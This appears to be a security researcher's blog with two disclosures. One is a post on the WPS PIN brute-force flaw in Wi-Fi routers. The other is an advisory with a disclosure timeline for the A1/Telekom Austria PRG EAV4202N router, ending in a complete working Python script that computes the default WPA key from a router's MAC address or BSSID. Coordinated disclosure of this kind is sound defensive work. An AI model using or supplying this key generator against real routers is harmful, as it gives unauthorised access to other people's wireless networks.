Wi-Fi Protected Setup PIN brute force vulnerability

A few weeks ago I decided to take a look at the Wi-Fi Protected Setup (WPS) technology. I noticed a few really bad design decisions which enable an efficient brute force attack, thus effectively breaking the security of pretty much all WPS-enabled Wi-Fi routers. As all of the more recent router models come with WPS enabled by default, this affects millions of devices worldwide.

I reported this vulnerability to CERT/CC and provided them with a list of (confirmed) affected vendors. CERT/CC has assigned VU#723755 to this issue.
To my knowledge none of the vendors have reacted and released firmware with mitigations in place.

Detailed information about this vulnerability can be found in this paper: Brute forcing Wi-Fi Protected Setup – Please keep in mind that the devices mentioned there are just a tiny subset of the affected devices.

I would like to thank the guys at CERT for coordinating this vulnerability.

Update (12/29/2011 – 20:15 CET)
As you probably already know, this vulnerability was independently discovered by Craig Heffner (/dev/ttyS0, Tactical Network Solutions) as well – I was just the one who reported the vulnerability and released information about it first. Craig and his team have now released their tool “Reaver” over at Google Code.

My PoC Brute Force Tool can be found here. It’s a bit faster than Reaver, but will not work with all Wi-Fi adapters.

Update (12/31/2011 – 14:25 CET)

Update (04/01/2012 – 17:45 CET)
Tactical Network Solutions has decided to release the code for the commercial version of Reaver. You might want to check it out.

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A1/Telekom Austria PRG EAV4202N Default WPA Key Algorithm Weakness

'''
title:          A1/Telekom Austria PRG EAV4202N Default WPA Key Algorithm Weakness
product names:  PRG EAV4202N, PRGAV4202N, PRG 4202 N, P.RG AV4202N
device class:   802.11n DSL broadband gateway
vulnerable:     S/N PI101120401*
not vulnerable: S/N PI105220402* (?)
impact:         critical

product notes:
This device is manufactured by ADB Broadband (formerly Pirelli Broadband) and is rebranded for
A1 (formerly Telekom Austria). A Wi-Fi AP is enabled by default and can be accessed with the
default WPA-key printed on the back of the device.

vulnerability description:
The algorithm for the default WPA-key is entirely based on the internal MAC address (rg_mac).
rg_mac can either be derived from BSSID and SSID (if not changed) or BSSID alone.

timeline:
2010-11-20 working exploit
2010-12-04 informed Telekom Austria
2010-12-06 TA requests exploit code
2010-12-07 PoC sent
2010-12-09 TA starts analysis with ADB Broadband
2010-12-17 analysis finished
2010-12-20 vulnerability confirmed, will be fixed in next hardware(!) revision
...
2011-03-10 TA discloses vulnerability to press
2011-03-10 TA confirms that they will not inform affected customers directly
2011-12-04 grace period over

references:
Click to access data_sheet_p_rg_av4202n.pdf
http://futurezone.at/produkte/2165-massives-sicherheitsproblem-bei-telekom-modems.php
http://help.orf.at/stories/1678161/
'''

import sys, re, hashlib

def gen_key(mac):
    seed = ('\x54\x45\x4F\x74\x65\x6C\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15' +
            '\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x94\x3F\xDC\xE8')
    lookup = '0123456789ABCDEFGHIKJLMNOPQRSTUVWXYZabcdefghikjlmnopqrstuvwxyz'

    h = hashlib.sha256()
    h.update(seed)
    h.update(mac)
    digest = bytearray(h.digest())
    return ''.join([lookup[x % len(lookup)] for x in digest[0:13]])

def main():
    print '*********************************************************************'
    print ' A1/Telekom Austria PRG EAV4202N Default WPA Key Algorithm Weakness'
    print '                 Stefan Viehboeck <@sviehb> 11.2010'
    print '*********************************************************************'

    if len(sys.argv) != 2:
        sys.exit('usage: pirelli_wpa.py [RG_MAC] or [BSSID]\n eg. pirelli_wpa.py 38229D112233\n')

    mac_str = re.sub(r'[^a-fA-F0-9]', '', sys.argv[1])
    if len(mac_str) != 12:
        sys.exit('check MAC format!\n')

    mac = bytearray.fromhex(mac_str)
    print 'based on rg_mac:\nSSID: PBS-%02X%02X%02X' % (mac[3], mac[4], mac[5])
    print 'WPA key: %s\n' % (gen_key(mac))

    mac[5] -= 5
    print 'based on BSSID:\nSSID: PBS-%02X%02X%02X' % (mac[3], mac[4], mac[5])
    print 'WPA key: %s\n' % (gen_key(mac))

if __name__ == "__main__":
    main()